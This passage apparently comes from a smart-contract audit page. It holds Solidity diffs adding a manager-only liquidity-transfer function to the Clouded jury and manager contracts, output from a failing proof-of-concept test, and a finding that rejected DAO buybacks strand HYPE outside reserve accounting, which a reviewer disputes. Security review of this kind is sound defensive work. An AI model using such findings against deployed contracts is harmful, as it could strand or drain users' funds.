     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
+    function transferDAOLiquidity(address _to, uint256 _lp) external isManager { IDAO(DAO).transferLiquidity(_to, _lp); }
+
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

diff --git a/CloudedManager.sol b/CloudedManager.sol
--- a/CloudedManager.sol
+++ b/CloudedManager.sol
@@ -1,46 +1,49 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 
 interface IJury {
     function updateURI(string memory, string memory) external;
     function updateCloudedAddr(address) external;
     function updateDAOAddr(address) external;
+    function transferDAOLiquidity(address, uint256) external;
     function addToWhitelist(address) external;
     function publicLaunch() external;
 }
 
 interface IClouded { function updateURI(string memory) external; }
 
 contract CloudedManager {
 
     IERC20 private managerToken = IERC20(0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B);
     address public CLOUDED;
     address public JURY;
 
     modifier isAuthorized() { require(managerToken.balanceOf(msg.sender) >= managerToken.totalSupply() / 2, "Not authorized"); _; }
 
     constructor() {}
 
     function updateJuryAddrs(address _juryAddr, address _cloudedAddr, address _daoAddr) external isAuthorized {
         if (JURY == address(0)) {
             JURY = _juryAddr;
             IJury(JURY).updateDAOAddr(_daoAddr);
             IJury(JURY).updateCloudedAddr(_cloudedAddr);
         }
     }
 
     function updateJuryURI(string memory _newBaseURI, string memory _newURI) external isAuthorized { IJury(JURY).updateURI(_newBaseURI, _newURI); }
 
     function updateManagerToken(address _newManagerTokenAddr) external isAuthorized { managerToken = IERC20(_newManagerTokenAddr); }
 
     function updateCloudedAddr(address _cloudedAddr) external isAuthorized { if (CLOUDED == address(0)) CLOUDED = _cloudedAddr; }
 
     function updateCloudedURI(string memory _newURI) external isAuthorized { IClouded(CLOUDED).updateURI(_newURI); }
 
+    function transferDAOLiquidity(address _to, uint256 _lp) external isAuthorized { IJury(JURY).transferDAOLiquidity(_to, _lp); }
+
     function addToWhitelist(address _addr) external isAuthorized { IJury(JURY).addToWhitelist(_addr); }
 
     function updateWhitelisted() external isAuthorized { IJury(JURY).publicLaunch(); }
 }
\ No newline at end of file

Affected files

  • src/CloudedDAO.sol
  • CloudedDAO.sol
  • CloudedJury.sol
  • CloudedManager.sol

Validation output

[output truncated: 1179 lines & 64.5185546875 KB skipped]
Ran 1 test suite in 11.65ms (2.71ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: first buyBack credited LP to the DAO contract itself: 0 <= 0] test_bootstrapLiquidityIsPermanentlyCallerInaccessible() (gas: 11837)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Rejected buybacks silently strand HYPE outside reserve accounting

High#298785Validity: Unreviewed

Comment:

HYPE does not accumulate indefinitely. Once the TWAP updates, anyone can trigger a full buyback by minting a single NFT.

Source locations

Uploaded archive/CloudedDAO.sol (4 locations)

Lines 102-130 — _LP-facing views/withdrawals never account for pendingHYPE_

    function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }

    function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
        hypeBalance = address(_addr).balance;
        daoBalance  = balanceOf(_addr);
        lp          = lpOf[_addr];
        if (totalLP > 0 && lp > 0) {
            poolShareBPS = lp * 10000 / totalLP;
            poolHYPE     = lp * reserveHYPE / totalLP;
            poolDAO      = lp * reserveDAO  / totalLP;
        }
    }

    function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
        require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");

        if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");

        if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
        if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }

        (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
    }

    function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
        require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
        hype = _lp * reserveHYPE / totalLP;
        dao  = _lp * reserveDAO  / totalLP;
    }
⋯ code omitted for brevity ⋯

Lines 184-219 — _deviation-gated no-op leaves pendingHYPE stuck without reverting_ — _Incoming value is retained in pendingHYPE and failed buybacks return normally without consuming or refunding it._

    function buyBack() external payable nonReentrant isJury {
        pendingHYPE += msg.value;

        if (totalLP == 0) {
            uint256 _initialAmount = pendingHYPE;
            _mint(address(this), _initialAmount);
            pendingHYPE         -= _initialAmount;
            reserveHYPE         += _initialAmount;
            reserveDAO          += _initialAmount;
            totalLP             += _initialAmount;
            lpOf[address(this)] += _initialAmount;
            priceUpdatedAt_  = block.timestamp;
            oracleUpdatedAt_ = block.timestamp;
            oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
        }

        _updateBuyBackOracle();

        uint256 _hypeIn = pendingHYPE;
        uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
        uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);

        uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
        uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
        _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;

        if (_daoOut > 0 && _daoOut >= _minDaoOut) {
            pendingHYPE -= _hypeIn;
            reserveHYPE += _hypeIn;
            reserveDAO  -= _daoOut;
            _burn(address(this), _daoOut);
        }
        else _daoOut = 0;

        emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
    }
⋯ code omitted for brevity ⋯

Lines 249-265 — _Liquidity removal only pays proportional reserveHYPE/reserveDAO and excludes pendingHYPE._

    function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
        require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
        require(block.timestamp <= _deadline, "Expired");

        hype = _lp * reserveHYPE / totalLP;
        dao  = _lp * reserveDAO / totalLP;
        require(hype > 0 && dao > 0, "Zero output");
        require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");

        _updateBuyBackOracle();

        lpOf[msg.sender] -= _lp;
        totalLP          -= _lp;
